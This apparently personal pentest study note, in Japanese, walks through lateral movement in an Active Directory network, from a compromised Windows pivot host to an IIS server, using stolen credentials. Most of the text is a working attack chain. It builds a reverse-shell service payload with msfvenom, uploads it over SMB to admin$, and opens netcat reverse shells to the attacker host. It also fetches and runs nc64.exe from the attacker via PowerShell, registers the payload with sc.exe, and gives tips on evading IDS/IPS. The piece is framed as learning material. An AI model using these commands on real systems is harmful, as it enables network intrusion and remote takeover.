AD資格を使用したラテラル・ムーブの考察

ActiveDirectoryで構築されたネットワークの内部偵察（ラテラル・ムーブ）のシナリオについて考えてみる。

前提

• PCはアタックPCのkali１台。踏み台PCのwindowsPC1台。ターゲットのIIS１台。
• 踏み台PCと、ターゲットIISのADの資格情報はすでに持っている。
• 踏み台PCはすでに初期侵害済みで、アタックPCからSSHできる。
• IISはいくつかのファイアウォールの奥にある。
• 全てのファイアウォールは、内部から外部へのアウトバウンド通信は許可している。
• 踏み台PCは、IISと通信ができる。
• アタックPCはADに参加していない。
• IISは通常、SSHでアクセスすることは少ない。一般的にはRDPやWinRMなどの他のリモートアクセス方法が使用されることが多く、今回もSSHは開いていない。

上記の前提から、資格情報を持っていたとしても、以下の様なSSHを使った直接的なアクセスはできないことがわかる。

シナリオ

全体のフローはこんな感じで考えてみる。概要としては、

1. リバースシェル（port=4444）を実行するためのペイロードをIISのサービスとして登録して、実行する。
2. しかし、サービス登録するためには、踏み台PCからIIS管理者資格情報を使用して、scコマンドを実行する必要ある。
3. そのため、IIS管理者資格情報を持ったリバースシェルを別途4443で開き、そこから１をおこなう。
4. 最終的に、1で待ち受けている4444で、IISのリバースシェルを受取る。

1. アタックPCでmsfvenomを使用して、IIS上で起動させたいサービスの作成

msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=アタックPC_IP LPORT=4444 -o myservice.exe

2. アタックPCからsmbclientで、IIS管理者資格情報を使用して、myservice.exeをIISにアップロード

smbclient -c 'put myservice.exe' -U IIS管理者ユーザー名 -W ZA '//IISドメイン/admin$/' IIS管理者

3. アタックPCでリバースシェルを待ち受ける

nc -l 4443

4. アタックPCから踏み台PCにssh

5. 踏み台PCのsshの中から、アタックPCに対してリバースシェルを実行

C:\> runas /netonly /user:IIS管理者資格情報 "c:\tools\nc64.exe -e cmd.exe アタックPC_IP 4443

6. 踏み台PCに管理者資格でリバースシェルで入れた

7. アタックPCで、4444ポートでリバースシェルを待ち受ける

$ msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST アタックPC_IP; set LPORT 4444;exploit

8. 踏み台PCのシェルから、2番でIISにアップロードした、myservice.exeをサービスとして登録

sc.exe \\IISドメイン create MyService binPath= "%windir%\myservice.exe" start= auto

9. 踏み台PCのシェルから登録したサービスを起動

C:\> sc.exe \\IISドメイン start MyService

10. myservice.exeが実行されて、7番で待ち受けているアタックPCの4444接続しにくる。

11. アタックPCの4444に、IISのリバースシェルがつながる。

考察

実際にこのシナリオは動くが、以下考察をしてみる。

1. バッテンの部分

runasを使用して、ここでIIS管理者資格情報を使用して、コマンドを打ちたい。これを実行すると新しいセッションでプロンプトが開かれるが、そもそもSSHで接続しているので、落ちてしまう。なので、nc64.exeを使用して、IIS管理者情報を使用して、4443にリバースシェルを開く。

2. そもそも都合よく、nc64.exeなんて入ってないんじゃないの？

そんなときは、Powershellでリモートから持ってきて、更にファイルを残さずに実行。

Invoke-WebRequest -Uri http://アタックPC_IP/nc64.exe -OutFile $env:TEMP\nc64.exe
Start-Process -FilePath $env:TEMP\nc64.exe -ArgumentList "-e cmd.exe アタックPC_IP 4443"

4. IISは外部にSMBを公開しているのか？

いいえです。単純に資格情報を持っているだけで簡単にファイルをアップロードできるわけではない。例えば、

1. 資格情報の権限: 与えられた資格情報には十分な権限があるのか？例えば、admin$共有にアクセスするためには、通常、管理者権限が必要。今回前提で持っているIIS管理者資格情報はこの権限がある。
2. ネットワークセキュリティ: IISマシンが外部からのSMB接続を許可しているか？今回はされていただけで、多くの環境では、外部からのSMB接続はファイアウォールによってブロックされている。IDS/IPSでも見られているかも。

そんな場合は、

1. 踏み台PCにmyservice.exeをscpでアップロード。
2. 踏み台PCからadmin$共有にファイルをアップロード。

などのシナリオ変更が考えられる。

5. 内部偵察する上でのポイント

1. 潜在的な検出を避ける：ペンテスターは通常、その活動を検出されないようにする。アタックPCからの直接的な攻撃はセキュリティツールやIDS/IPSによって検出されやすくなるので、踏み台PCを使って、検出のリスクを下げるのが一般的。
2. シナリオの実現性：現実の攻撃シナリオでは、攻撃者がターゲットの内部ネットワークに直接アクセスするのは難しく、踏み台としてのマシンを使用してさらに深いネットワーク層へ侵入するのは一般的な手法。